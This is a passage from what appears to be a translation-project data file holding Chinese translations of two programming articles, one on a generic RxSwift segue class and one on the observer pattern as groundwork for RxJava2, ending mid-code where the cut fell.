    "content": "> * 原文地址：[iOS: Let’s create Reactive Generic Segue with RxSwift](https://medium.com/@SergDort/reactive-generic-segue-with-rxswift-e20a5219aeea)\n* 原文作者：[Serg Dort](https://medium.com/@SergDort)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[mypchas6fans] (https://github.com/mypchas6fans)\n* 校对者：[yifili09] (https://github.com/yifili09) [siegeout] (https://github.com/siegeout)\n\n# 用 RxSwift 实现通用的响应式转场\n\n个人而言，我喜欢 [UIStoryboardSegue](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIStoryboardSegue_Class/) 这个类背后的思路，把导航逻辑从业务逻辑程序中分离出来。\n\n但是我并不推崇通过 storyboard 来实现这个方法，并且我也从来没有在代码中实现过。\n\n所以我决定吸取上文的思想，自己做一个类似的东西。\n\n但是这个类型应该有哪些域呢？\n\n当然必须要有\n\n     let fromViewController:UIViewController \n\n很多人会把想要显示的 context 传递给下一个 ViewController。\n\n因为 Swift 有一个很酷的功能叫泛型，我们可以利用它把 context 变成通用类型 _T_\n\n同时，我们还需要创建 _toViewController_ 对象，我决定用 block 来做\n\nlet toViewControllerFactory:(context:T) -> UIViewController\n\n现在我们可以实现转场的“响应式”部分了 =)\n\n转场可以做两件事—— push 新的 viewController ，或者以模式方式显示。\n\n    private(set) lazy var pushObserver:AnyObserver\n\n    private(set) lazy var presentObserver:AnyObserver\n\n我们来实现这些 observers\n\n    import UIKit\n    import RxSwift\n\n    class Segue {\n\n       private(set) weak var fromViewController:UIViewController?\n       let toViewControllerFactory:(context:T) -> UIViewController\n\n       init(fromViewController:UIViewController,\n          toViewControllerFactory:(context:T) -> UIViewController) {\n             self.fromViewController = fromViewController\n             self.toViewControllerFactory = toViewControllerFactory\n       }\n\n       private(set) lazy var pushObserver:AnyObserver = AnyObserver {[weak self] event in\n          switch event {\n          case .Next(let value):\n             guard let strong = self else {return}\n             let toViewController = strong.toViewControllerFactory(context: value)\n             strong.fromViewController?.navigationController?\n                .pushViewController(toViewController, animated:true)\n          default:\n             break\n          }\n       }\n\n       private(set) lazy var presentObserver:AnyObserver = AnyObserver {[weak self] event in\n          switch event {\n          case .Next(let value):\n             guard let strong = self else {return}\n             let toViewController = strong.toViewControllerFactory(context: value)\n             strong.fromViewController?.presentViewController(toViewController, animated: true, completion: nil)\n          default:\n             break\n          }\n       }\n\n    }\n\n注意：如果你不想在转场中传递 context ，需要把它创建成 Void 类型\n\n    lazy var segue:Segue \n\n现在我们可以这样使用转场了：\n\n    import RxSwift\n    import RxCocoa\n\n    class SomeTableViewController:UITableViewController {\n      let disposeBag = DisposeBag()\n      let items:[Item] ...\n\n      lazy var itemDetailsSegue:Segue = {\n          return Segue(fromViewController: self,\n                  toViewControllerFactory: { context -> UIViewController in\n                      return ItemDetailsViewController(item:context)\n                  })\n      }\n\n        lazy var voidModalSegue:Segue = {\n          return Segue(fromViewController: self,\n                  toViewControllerFactory: { _ -> UIViewController in\n                      return SomeViewController()\n                  })\n      }\n\n        override func viewDidLoad() {\n          super.viewDidLoad()\n\n          someButton.rx_tap\n                .bindTo(voidModalSegue.presentObserver)\n                .addDisposableTo(disposeBag)\n\n          tableView.rx_itemSelected\n                .map({[unowned self] indexPath in self.items.[indexPath.row]})\n                .bindTo(itemDetailsSegue.pushObserver)\n                .addDisposableTo(disposeBag)\n        }\n\n    }\n\n结果如何？导航逻辑被分离出来了，而且这个类很容易进行单元测试。\n\n大家有什么想法评论，欢迎留言讨论 :)\n\n\n\n\n\n"
  },
  {
    "path": "TODO/reactive-programming-android-rxjava2-hell-part1.md",
    "content": "> * 原文地址：[Observer Pattern – Reactive Programming [Android RxJava2]\\( What the hell is this ) Part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Zhiw](https://github.com/Zhiw)\n> * 校对者：[dubuqingfeng](https://github.com/dubuqingfeng)，[Vivienmm](https://github.com/Vivienmm)\n\n## 观察者模式 – 响应式编程 [Android RxJava2]（这到底是什么）：第一部分\n\n哦，我们又过了一天，是时候来学习新东西让这一天变得很棒了🙂。\n\n大家好，希望你们做的更好。今天我打算开始一个关于 Rx Java2 的新系列，但是首先的 2-3 篇文章是关于响应式编程的。希望我们能够学到新的东西，然后一起消除所有的困惑。\n\n**动机：**\n\n说实话，我一开始学习 Rx 的时候遇到了许多问题。我尝试了许多教程、书籍，但是最后我都无法在我的应用里面使用 Rx。许多教程让我感到很困惑，就像有些部分说，迭代器模式是基于拉模式（Pull），同样的，Rx 是基于推模式的（Push），并且给了一些例子，但那对于我来说毫无用处。我想学习 Rx，我想了解它的好处，我想知道它如何将我从大量的 bug 和冗长鸡肋的代码中拯救出来。但是每次我都会得到关于推和拉的比较，有些时候则是命令式和响应式的比较，我从来都得不到我想要的真正的 Rx 的答案。在一些文章中作者提到，Rx 就像观察者模式。随着时间的流逝，疑惑越来越多，学习曲线变得很困难。后来我得到一些关于 FRP (译者注：Functional Reactive Programming，函数式响应性编程)，lambda 表达式和函数式编程的一些教程。我看到一些例子，他们使用 lambda 表达式来调用 map，filter 等函数。\n但我依然待在原地，我还是不知道 Rx 是什么以及我为什么要选择它。后来我遇到了使用 Rx 的朋友，我就问他们能否指导一下如何使用 Rx。他们是这样教我的：你知道我们有一个 EditText，如果你想检查用户是否输入了新文本，你用什么方法得知？我回答说我会用改变监听器。\n\n哦，你知道这个接口太难了，你可以用 Rx，通过使用 debounce 和简单的 Rx Observable 来会变得非常简单。我问道，难道为了节省 10 行代码我就要使用 Rx 吗？他们回答我不是。你可以使用 map，filter 或者其他的函数让你的代码变得整洁简单。我不相信这是它的唯一好处，因为我可以通过一个类来统一管理这些事情。另一方面，我知道像 Netflix 和其他大公司都是使用这种范式，他们使用后都觉得很好。因此我更加困惑了。那天在我说好以后结束了。我还是没有搞懂 Rx 但是我了解我自己。虽然我有时会休息，但是我从来不会放弃，从来都不会。我决定了，我已经在很多教程里面学到了很多东西，但它们对我来说只是一堆拼图，是时候把拼图合成合适的形状了。\n\n关键的一点，我要感谢我读的所有这些教程和书籍的作者，他们让我很困惑，但同时也教会了我。所以每个人都应该好好感谢写这些教程和书籍的作者。\n\n另外一个关于我文章的关键点，我给你百分百保证，在该教程系列结束以后，你将会了解到 Rx Java2 的 80% 左右，但是别指望我会直接从 Rx Java2 开始。我会从最基础的部分开始，慢慢的指导，但是最后没人会感到困惑。\n\n好长的动机，但是这对我很重要，是时候进攻了 🙂。\n\n我在本教程中使用 IntelliJ 来执行编码任务。\n\n**介绍：**\n\n提个建议，如果你和我一样困惑，那就尝试忘掉下面提到的所有术语。\n\nRx\n\nObservable\n\nObserver\n\nMap\n\nFilter\n\nFlatMap\n\nLymbda\n\nHigher order functions\n\nIterator or Pull\n\nImperative\n\nReactive\n\nDataflow\n\nStreams\n\nFRP\n\n等等。。。\n\n因此我们将编写一个真实的企业应用系统的一个组件。这是响应式范式的第一步。基本上，这不会给你任何关于 Rx 的信息，但是这将为我们后面的教程打下基础。\n\n**需求：**\n\n我们的客户有一个网站，他要求，当他发布一篇新教程时，所有订阅的成员都会收到邮件。\n\n**解决方案：**\n\n我不打算去实现每一件事，但是我会通过一个方式去实现，所以我们就能轻易的抓住我们想要的概念。\n\n是时候分解我们的需求了。\n\n1. 我们有订阅的用户，那意味着我们要保存有关订阅用户的信息。\n\n2. 这里应该有数据库，当用户发布新帖子的时候，插入行。简单来说，当帖子发布的时候，我们的数据应该发生改变。这个是我们关心的，因为当发生变化的时候，我需要通知我的订阅用户。\n\n3. 邮件客户端，这不是我们的重点。\n\n前面两点非常重要。我需要通过实现某些内容来实现这两点功能。\n\n你可以使用很多方法，但是我要用对我来说最简单的一个，它将传达我想与你们分享的消息。\n\n因此我们有一个只包含成员姓名和邮件的 User 类。有些人可能会想，我们应该有一个 isSubscribed 的变量。在我看来，这将会使我们的代码更复杂，因为之后我们需要使用一个循环来决定哪些是订阅用户，就像如下代码所示。\n\n```\npublic static class User {\n\n    private String name;\n    private String email;\n    private boolean isSubscribed;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n\n    public boolean isSubscribed() {\n        return isSubscribed;\n    }\n\n    public void setSubscribed(boolean subscribed) {\n        isSubscribed = subscribed;\n    }\n}\n```\n\n所以如果我使用这个类，然后很有可能，我在 main 方法中实现发送电子邮件的代码，将会如下所示。\n\n\n```\npublic static void sendEmail(List<User> userList){\n\n    for (User user : userList) {\n        if(user.isSubscribed){\n            // 发送邮件给用户\n        }\n    }\n}\n```\n\n但我要用一种不同的方法，我的 User 类如下所示：\n\n```\npublic static class User {\n\n    private String name;\n    private String email;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n}\n```\n\n我没有任何的 isSubscribed 变量，这意味当我调用 sendEmail 方法的时候，就不再使用 if，如下所示：\n\n```\npublic static void sendEmail(List<User> userList){\n    for (User user : userList) {\n            // 发送邮件给用户\n    }\n}\n```\n\n那现在是时候来检查一下我是如何管理我的订阅用户。最基本的，在本例中，我要从内存中取数据，所以先初始化一个用户列表。在这里，我只保存点了订阅按钮的用户。如果这是在真实的应用里，在数据库里面将有一张表。是时候给你们展示更多代码了。\n\n```\nprivate static List<User> subscribedUsers = new ArrayList<>();\n```\n\n设想我们有 A, B, C, D 四个用户，除了 B 以外都订阅了。让我给你们展示一下代码，看看我在 main 方法里面都做了什么。\n\n```\npublic static void main(String[] args){\n\n    User A = new User(\"A\",\"a@a.com\");\n    User B = new User(\"B\",\"b@a.com\");\n    User C = new User(\"C\",\"c@a.com\");\n    User D = new User(\"D\",\"d@a.com\");\n\n    // 现在用户 A,C,D 点击了订阅按钮\n\n    subscribedUsers.add(A);\n    subscribedUsers.add(C);\n    subscribedUsers.add(D);\n}\n```\n\n现在第一点已经完成了。我们需要保存那些需要订阅邮件的用户信息。\n\n是时候去看一下第二点了。当用户发布新教程时，我想通知。这里我有一个 Tutorial 类如下所示。\n\n```\npublic static class Tutorial{\n\n    private String authorName;\n    private String post;\n\n    public String getAuthorName() {\n        return authorName;\n    }\n\n    public void setAuthorName(String authorName) {\n        this.authorName = authorName;\n    }\n\n    public String getPost() {\n        return post;\n    }\n\n    public void setPost(String post) {\n        this.post = post;\n    }\n}\n```\n\n这里我们需要一个地方来保存我们的教程。在真实的应用里面我应该有一个表，但是在本例中，我将初始化一个教程的列表，用来保存所有的新老教程，就像下面所示。\n\n```\nprivate static List<Tutorial> publishedTutorials = new ArrayList<>();\n```\n\n这里我将增加我们代码的复杂性 :P。例如我已经有 3 篇教程，Android 1, Android 2 和 Android 3。3 篇文章都已经发布了，然后所有用户都订阅了。这意味着当我添加 Android 4 教程的时候，所有用户都会收到邮件。首先我将展示第一部分，我如何添加开始的 3 篇教程，然后用户订阅邮件。\n\n```\npublic static void main(String[] args){\n\n    Tutorial android1 = new Tutorial(\"Hafiz\", \"........\");\n    Tutorial android2 = new Tutorial(\"Hafiz\", \"........\");\n    Tutorial android3 = new Tutorial(\"Hafiz\", \"........\");\n\n    publishedTutorials.add(android1);\n    publishedTutorials.add(android2);\n    publishedTutorials.add(android3);\n\n    // 我已经有三篇教程了，然后用户订阅了邮件\n\n    User A = new User(\"A\",\"a@a.com\");\n    User B = new User(\"B\",\"b@a.com\");\n    User C = new User(\"C\",\"c@a.com\");\n    User D = new User(\"D\",\"d@a.com\");\n\n    // 现在用户 A,C,D 点击了订阅按钮\n\n    subscribedUsers.add(A);\n    subscribedUsers.add(C);\n    subscribedUsers.add(D);\n}\n```\n\n现在最重要的一点来了，我发布了第四篇教程，如下所示：\n\n```\npublic static void main(String[] args){\n    // 忽略下面的代码直到粗线开始（指 android4 开始的地方）\n    Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n    Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n    Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n    publishedTutorials.add(android1);\n    publishedTutorials.add(android2);\n    publishedTutorials.add(android3);\n    // 我已经有三篇教程了，然后用户订阅了邮件\n    User A = new User(\"A\",\"a@a.com\");\n    User B = new User(\"B\",\"b@a.com\");\n    User C = new User(\"C\",\"c@a.com\");\n    User D = new User(\"D\",\"d@a.com\");\n    // 现在用户 A,C,D 点击了订阅按钮\n    subscribedUsers.add(A);\n    subscribedUsers.add(C);\n    subscribedUsers.add(D);\n\n   Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");   \n   publishedTutorials.add(android4);\n\n}\n```\n\n我如何确定何时第四篇或者任何新教程发布，以便于我能发送邮件。\n\n嗯，非常关键的要求。我打算实现轮询，轮询意味着我要实现一个定时器，它会在一段时间间隔后检查我的数据是否发生改变。这里我将设置一个 int 对象作为数据改变的通知者，如下所示：\n\n```\nprivate static int lastCountOfPublishedTutorials = 0;\n\nTutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\nTutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\nTutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n\npublishedTutorials.add(android1);\npublishedTutorials.add(android2);\npublishedTutorials.add(android3);\nlastCountOfPublishedTutorials = publishedTutorials.size();\npolling();\n```\n\n现在我有一个需要关注的点，如果这个数量变了，意味着有些东西发生了改变。在本例中，就是指新的教程发布我需要发送邮件。是时候让你们来看看我是如何实现轮询的。\n\n```\nprivate static void polling(){\n\n    Polling polling = new Polling();\n    Timer timer = new Timer();\n    timer.schedule(polling, 0,1000);\n\n}\n```\n\n当服务启动或者在本例中 main 方法被调用的时候，该方法会被调用。该方法将一直处于活跃状态，每隔一秒检查我的数据是否发生变化，如下所示。\n\n```\npublic static class Polling extends TimerTask{\n\n    @Override\n    public void run() {\n\n        if(lastCountOfPublishedTutorials < publishedTutorials.size()){\n            lastCountOfPublishedTutorials = publishedTutorials.size();\n            sendEmail(subscribedUsers);\n        }\n        System.out.println(\"Polling\");\n    }\n}\n```\n\n非常简单，我只检查这个数量是否发生变化，然后更新数量并且发送邮件给所有的订阅用户。IDE 的输出如下所示。\n\n---\n\nPolling\n\nEmail send: A\n\nEmail send: C\n\nEmail send: D\n\nPolling\n\nPolling\n\nPolling\n\n---\n\n用户交给的所有事情都已经完成了，但是是时候来回顾一下我们的方法了。我认为轮询非常糟糕。我们还能使用其他方法吗？\n\n是的，当然可以。是时候来使用第二种方法来实现这个功能了。\n\n现在我要改变一下我们类中的代码。伙计们，我会再次从最基本的部分开始，因此目前没什么接口，没有任何抽象的内容，所有事情都是具体的。最后我要做一点点的重构，以便我们可以很清晰的看到如何在专业软件开发中工作。\n\n让我们来看一下 Tutorial 类里面发生的新改变，如下所示。\n\n```\npublic static class Tutorial{\n\n    private String authorName;\n    private String post;\n    public Tutorial() {\n    }\n\n    public Tutorial(String authorName, String post) {\n        this.authorName = authorName;\n        this.post = post;\n    }\n\n    private static List<Tutorial> publishedTutorials = new ArrayList<>();\n    private static List<User> subscribedUsers = new ArrayList<>();\n\n    public static void addSubscribedUser(User user){\n        subscribedUsers.add(user);\n    }\n\n    public static void publish(Tutorial tutorial){\n        publishedTutorials.add(tutorial);\n        sendEmail(subscribedUsers);\n    }\n}\n```\n\n在新的代码中，Tutorial 类将关注于发布的教程和订阅的用户。就像你可以使用 **addSubscribedUser** 方法。现在给你们展示一下 main 方法的代码。你们可以很轻易的比较两种方法的变化。\n\n```\npublic static void main(String[] args){\n\n    Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n    Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n    Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n\n    Tutorial.publish(android1);\n    Tutorial.publish(android2);\n    Tutorial.publish(android3);\n\n    // 我已经有三篇教程了，然后用户订阅邮件\n\n    User A = new User(\"A\",\"a@a.com\");\n    User B = new User(\"B\",\"b@a.com\");\n    User C = new User(\"C\",\"c@a.com\");\n    User D = new User(\"D\",\"d@a.com\");\n\n    // 现在用户 A,C,D 点击了订阅按钮\n\n    Tutorial.addSubscribedUser(A);\n    Tutorial.addSubscribedUser(C);\n    Tutorial.addSubscribedUser(D);\n\n    Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");\n    Tutorial.publish(android4);\n\n}\n```\n\n现在 Tutorial 类负责发布教程，也负责管理订阅用户。因此我们移除第一个轮询，这真是一个巨大的成就。然后开发者就再也不用负责写谁来通知数据变化的逻辑代码了，因此我们移除了 **lastCountOfPublishedTutorials** 对象。\n\n那真是太棒了，输出如下所示。\n\n---\n\nEmail send: A\n\nEmail send: C\n\nEmail send: D\n\n---\n我知道上面的输出不太清楚，因为程序退出了，所以我将实现一个逻辑，它将让我们的程序运行在内存中，从不退出，然后在 1 秒钟后发布新的教程。这样我们就能看到邮件是怎么发出去的。\n\n---\n\nEmail send: A\n\nEmail send: C\n\nEmail send: D\n\nEmail send: A\n\nEmail send: C\n\nEmail send: D\n\nEmail send: A\n\nEmail send: C\n\nEmail send: D\n\n--- \n\n从不退出\n\n现在该去找一些更好更专业的方法了，我们有任何方法吗？\n\n是的，我们有，但在那之前，我要解释一些英文术语。\n\n有人能解释 Observable 吗？\n\n在英语中，任何可以被观察的事物，比如说我的花园里面有一颗很漂亮的树，我经常观察它，这就意味着它是 Observable 的。当我在观察树的时候，现在有一场雷暴，我观察到树叶因为疾风而落下，这发生了什么呢？树是 Observable 的，我是 Observer。当我是 Observer时，我能感受到树的变化。现在我不是一个人了，有我老婆陪着我，但她没有在观察树。因此当第一片树叶掉落的时候，我能感受到变化，但我老婆不能。后来她也开始观察树。这时当第二片叶子掉落的时候，我们两个都能感受到变化。这意味着树作为 Observable，能够将变化告知它的 Observer。\n\n如果同样的事情，我使用轮询的方法，那将发生什么。我数一下树叶的数量然后记住。一秒钟以后我再数一遍，然后和上一个结果作对比，所以我感受到了变化，但是我得每一秒钟都这么做。哈哈，在现实中，我可做不了。\n\n在第一种情况下，Observable 负责将变化通知他们的 Observer，我们可以称为 Push（Rx 就是 Push）。\n\n在第二种情况下，我的轮询需要来检查任何发生的变化，然后通知我们的用户，你可以称为 Pull。\n\n所以现在是实现 Observable 和 Observer 的时候了。\n\n在我们的应用中，Observable 是什么？没错，正是教程。那 Observer 又是谁呢？没错，用户。\n\n现在我要介绍一下我们在专业软件开发中用于观察者模式的接口。\n\n```\npublic interface Observer{\n    // 新教程发布\n    void notifyMe();\n}\n```\n\n```\npublic interface Observable{\n\n void register(Observer observer);\n\n void unregister(Observer observer);\n\n // New tutorial published to inform all subscribed users\n void notifyAllAboutChange();\n}\n```\n\n现在我们可以看看抽象或者通用接口。Observer 和 Observable。\n\n在我们的应用中，用户就是 Observer，所以我要在该类中实现 Observer 接口，而教程就是 Observable，所以我要在该类中实现 Observable 接口，如下所示。\n\n```\npublic static class User implements Observer{\n\n    private String name;\n    private String email;\n    public User() {    }\n    public User(String name, String email) {\n        this.name = name;\n        this.email = email;\n    }\n    public String getName() {   return name;    }\n    public void setName(String name) {        this.name = name;    }\n    public String getEmail() {        return email;    }\n    public void setEmail(String email) {        this.email = email;    }\n\n    @Override\n    public void notifyMe() {\n        sendEmail(this);\n    }\n}\n```\n\n现在用户将会被教程通知，我调用 notifyMe() 方法发布了一篇新文章。\n\n```\npublic static class Tutorial implements Observable{\n\n    private String authorName;\n    private String post;\n    private Tutorial() {};\n    public static Tutorial REGISTER_FOR_SUBSCRIPTION = new Tutorial();\n\n    public Tutorial(String authorName, String post) {\n        this.authorName = authorName;\n        this.post = post;\n    }\n\n private static List<Observer> observers = new ArrayList<>();\n    @Override\n    public void register(Observer observer) {\n        observers.add(observer);\n    }\n\n    @Override\n    public void unregister(Observer observer) {\n        observers.remove(observer);\n    }\n\n    @Override\n    public void notifyAllAboutChange() {\n        for (Observer observer : observers) {\n            observer.notifyMe();\n        }\n    }\n\n    public void publish(){\n        notifyAllAboutChange();\n    }\n}\n```\n\n所以该类中发生了什么变化呢？首先我将用户变为 Observer，因此它可以注册任何他想知道的新的教程发布。在本例中，就是 User，因为 User 实现了该接口。\n\n然后注册和取消注册两个简单的方法管理着订阅或者未订阅。\n\n对于注册和取消注册，我们使用类的对象 **REGISTER_FOR_SUBSCRIPTION**。然后是 **notifyAllAboutChange** 方法，它将把变化通知所给有的 Observer。最后一个方法是 **publish**，它是当前实例的方法。任何时候当我调用 publish 方法时，所有注册的 Observer 都会通过调用 **notifyMe()** 被通知。\n\n```\npublic static void main(String[] args){\n\n    Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n    android1.publish();\n    Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n    android2.publish();\n    Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n    android3.publish();\n\n\n    User A = new User(\"A\",\"a@a.com\");\n    User B = new User(\"B\",\"b@a.com\");\n    User C = new User(\"C\",\"c@a.com\");\n    User D = new User(\"D\",\"d@a.com\");\n\n\n\n    Tutorial.REGISTER_FOR_SUBSCRIPTION.register(A);\n    Tutorial.REGISTER_FOR_SUBSCRIPTION.register(C);\n    Tutorial.REGISTER_FOR_SUBSCRIPTION.register(D);\n\n    Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");\n    android4.publish();\n\n}\n```\n\n这太简单了，没必要解释。现在我感觉每个人都应该知道 Observable 和 Observer 是什么了。这些才是真正重要的，它们是唯一在 Rx 中使用时间占 99.9% 的术语。所以如果你对此有一个清晰的印象，另外看到在我们的应用中使用这个模式获得了巨大的好处，那么你就能轻易的掌握 Rx 范式。现在我要利用 Rx 库再改变一下最后的代码。开始之前，我想讨论几个点。\n\n1. 这不是一个很棒的例子，但是我想让你应该知道 Observable，Observer，Pull，Push 分别是什么。\n\n2. 我想通过 RxJava 实现的这个功能，从 Rx 好处的角度来说，是一件非常小的事情。\n\n3. 我不打算向你们解释任何我将使用的那些方法。只要去回顾一下代码并且不要紧张，在后面的教程中你就会明白了。\n\n4. 重申一下，这不是 RxJava 的真正力量。基本上我是用这个例子来为我和我朋友打基础。\n\n将 RxJava 集成到你的工程里，你可以从 [这里](https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2) 下载。\n\n是时候来享受一下使用 Rx 库以后节省了多少行代码。你也可以设想一下，如果我要在工程的 8 个地方实现这个观察者模式，我需要写多少样板代码，但是使用 Rx，什么都不用。\n\n首先我将 Observable 和 Observer 接口从我的类中移除。\n\n![Markdown](http://p1.bpimg.com/1949/f26cfb93088350ac.png)\n\n![Markdown](http://p1.bpimg.com/1949/e1de180148389eb9.png)\n\n![Markdown](http://p1.bpimg.com/1949/4e3d085c47acfff5.png)\n\n现在我要实现 RxJava 库的方法。\n\n使用 Rx 以后的 User 类（Observer）如下所示。\n\n```\npublic static class User implements Action1 {\n\n    private String name;\n    private String email;\n    public User() {}\n    public User(String name, String email) {\n        this.name = name;\n        this.email = email;\n    }\n    public String getName() {return name;}\n    public void setName(String name) {this.name = name;}\n    public String getEmail() {return email;}\n    public void setEmail(String email) {this.email = email;}\n\n    @Override\n    public void call(Object o) {\n        sendEmail(this);\n    }\n}\n```\n\n我们可以说 Action1 是 Rx 库用来给 Observer 的一个辅助接口。\n\n使用 Rx 以后的 Tutorial 类（Observable）如下所示。\n\n```\npublic static class Tutorial {\n\n    private String authorName;\n    private String post;\n    private Tutorial() {}\n\n    public static rx.Observable REGISTER_FOR_SUBSCRIPTION =\n                  rx.Observable.just(new Tutorial());\n\n    public Tutorial(String authorName, String post) {\n        this.authorName = authorName;\n        this.post = post;\n    }\n\n    public void publish(){\n        REGISTER_FOR_SUBSCRIPTION.publish();\n    }\n\n}\n```\n\n如果我们将这两个类和之前的对比，我们移除了许多代码。通过使用 Rx，我将我的 **REGISTER_FOR_SUBSCRIPTION** 转换成 Rx Observable。现在我们已经知道什么是 Observable。所以任何 Observer 都可以订阅我的 Observable，然后当 Observable 的 publish 方法被调用时，所有的 Observer 都会被通知。\n\nmain 方法如下所示。\n\n```\npublic static void main(String[] args){\n\n    Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n    android1.publish();\n    Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n    android2.publish();\n    Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n    android3.publish();\n\n    // I have already three tutorials and later user subscribed for email\n    User A = new User(\"A\",\"a@a.com\");\n    User B = new User(\"B\",\"b@a.com\");\n    User C = new User(\"C\",\"c@a.com\");\n    User D = new User(\"D\",\"d@a.com\");\n\n    // Now A,C and D click subscribe button\n\n    Tutorial.REGISTER_FOR_SUBSCRIPTION.subscribe(A);\n    Tutorial.REGISTER_FOR_SUBSCRIPTION.subscribe(C);\n    Tutorial.REGISTER_FOR_SUBSCRIPTION.subscribe(D);\n\n    Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");\n    android4.publish();\n\n}\n```\n\nmain 方法代码块没有什么大的变化，输出如下。\n\n---\n\nEmail send: A\n\nEmail send: C\n\nEmail send: D\n\n---\n\n欢呼一下。一切工作都是相同，除了实现角度上我们更简单和容易。\n\n**结论：**\n作为结论，我们只是尝试去学了观察者模式，它只是 Rx 的基础。第二点，如果我要求你在同一段代码里，有 8 个模块需要实现通知功能，你怎么办。你需要实现 8 次 Observer 和 Observable 接口和一些样板代码。但是通过使用 Rx，你只需要调用 rx.Observable.just() 方法，然后那个对象就可以像 Observable 一样工作。然后任何的 Observer 都可以订阅该 Observable。如果你们又迷惑了，那么你可以忘掉 Rx 这部分。只要记住什么是观察者模式。在下一篇文章中，我将使用我们今天学习的这个概念，正确的介绍 Rx。\n\n所有代码都写在下面，你可以复制粘贴到你的 IDE 然后尽情玩耍。\n\n好的，大家伙拜拜了。下一篇文章 [Pull vs Push & Imperative vs Reactive – Reactive Programming [Android RxJava2] ( What the hell is this ) Part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)。\n\n**轮询方法：**\n\n```\nimport java.util.ArrayList;\n        import java.util.List;\n        import java.util.Timer;\n        import java.util.TimerTask;\n\n/**\n * Created by waleed on 04/02/2017.\n */\npublic class Main {\n\n    private static List<User> subscribedUsers = new ArrayList<>();\n\n    private static List<Tutorial> publishedTutorials = new ArrayList<>();\n    private static int lastCountOfPublishedTutorials = 0;\n\n    public static void main(String[] args){\n\n        Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n        Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n        Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n\n        publishedTutorials.add(android1);\n        publishedTutorials.add(android2);\n        publishedTutorials.add(android3);\n        lastCountOfPublishedTutorials = publishedTutorials.size();\n\n        polling();\n        // I have already three tutorials and later user subscribed for email\n\n        User A = new User(\"A\",\"a@a.com\");\n        User B = new User(\"B\",\"b@a.com\");\n        User C = new User(\"C\",\"c@a.com\");\n        User D = new User(\"D\",\"d@a.com\");\n\n        // Now A,C and D click subscribe button\n\n        subscribedUsers.add(A);\n        subscribedUsers.add(C);\n        subscribedUsers.add(D);\n\n        Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");\n        publishedTutorials.add(android4);\n\n    }\n\n    public static void sendEmail(List<User> userList){\n\n        for (User user : userList) {\n            // send email to user\n\n            System.out.println(\"Email send: \"+user.getName());\n        }\n    }\n\n    public static class User {\n\n        private String name;\n        private String email;\n\n        public User() {\n        }\n\n        public User(String name, String email) {\n            this.name = name;\n            this.email = email;\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public void setName(String name) {\n            this.name = name;\n        }\n\n        public String getEmail() {\n            return email;\n        }\n\n        public void setEmail(String email) {\n            this.email = email;\n        }\n    }\n\n    public static class Tutorial{\n\n        private String authorName;\n        private String post;\n\n        public Tutorial() {\n        }\n\n        public Tutorial(String authorName, String post) {\n            this.authorName = authorName;\n            this.post = post;\n        }\n\n        public String getAuthorName() {\n            return authorName;\n        }\n\n        public void setAuthorName(String authorName) {\n            this.authorName = authorName;\n        }\n\n        public String getPost() {\n            return post;\n        }\n\n        public void setPost(String post) {\n            this.post = post;\n        }\n    }\n\n    private static void polling(){\n\n        Polling polling = new Polling();\n        Timer timer = new Timer();\n        timer.schedule(polling, 0,1000);\n\n    }\n\n    public static class Polling extends TimerTask{\n\n        @Override\n        public void run() {\n\n            if(lastCountOfPublishedTutorials < publishedTutorials.size()){\n                lastCountOfPublishedTutorials = publishedTutorials.size();\n                sendEmail(subscribedUsers);\n            }\n            System.out.println(\"Polling\");\n        }\n    }\n\n}\n\n```\n\n**第一次重构方法：**\n\n```\n/**\n * Created by waleed on 04/02/2017.\n */\npublic class Main {\n\n    public static void main(String[] args){\n\n        polling();\n\n        Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n        Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n        Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n\n        Tutorial.publish(android1);\n        Tutorial.publish(android2);\n        Tutorial.publish(android3);\n\n        // I have already three tutorials and later user subscribed for email\n\n        User A = new User(\"A\",\"a@a.com\");\n        User B = new User(\"B\",\"b@a.com\");\n        User C = new User(\"C\",\"c@a.com\");\n        User D = new User(\"D\",\"d@a.com\");\n\n        // Now A,C and D click subscribe button\n\n        Tutorial.addSubscribedUser(A);\n        Tutorial.addSubscribedUser(C);\n        Tutorial.addSubscribedUser(D);\n\n        Tutorial android4 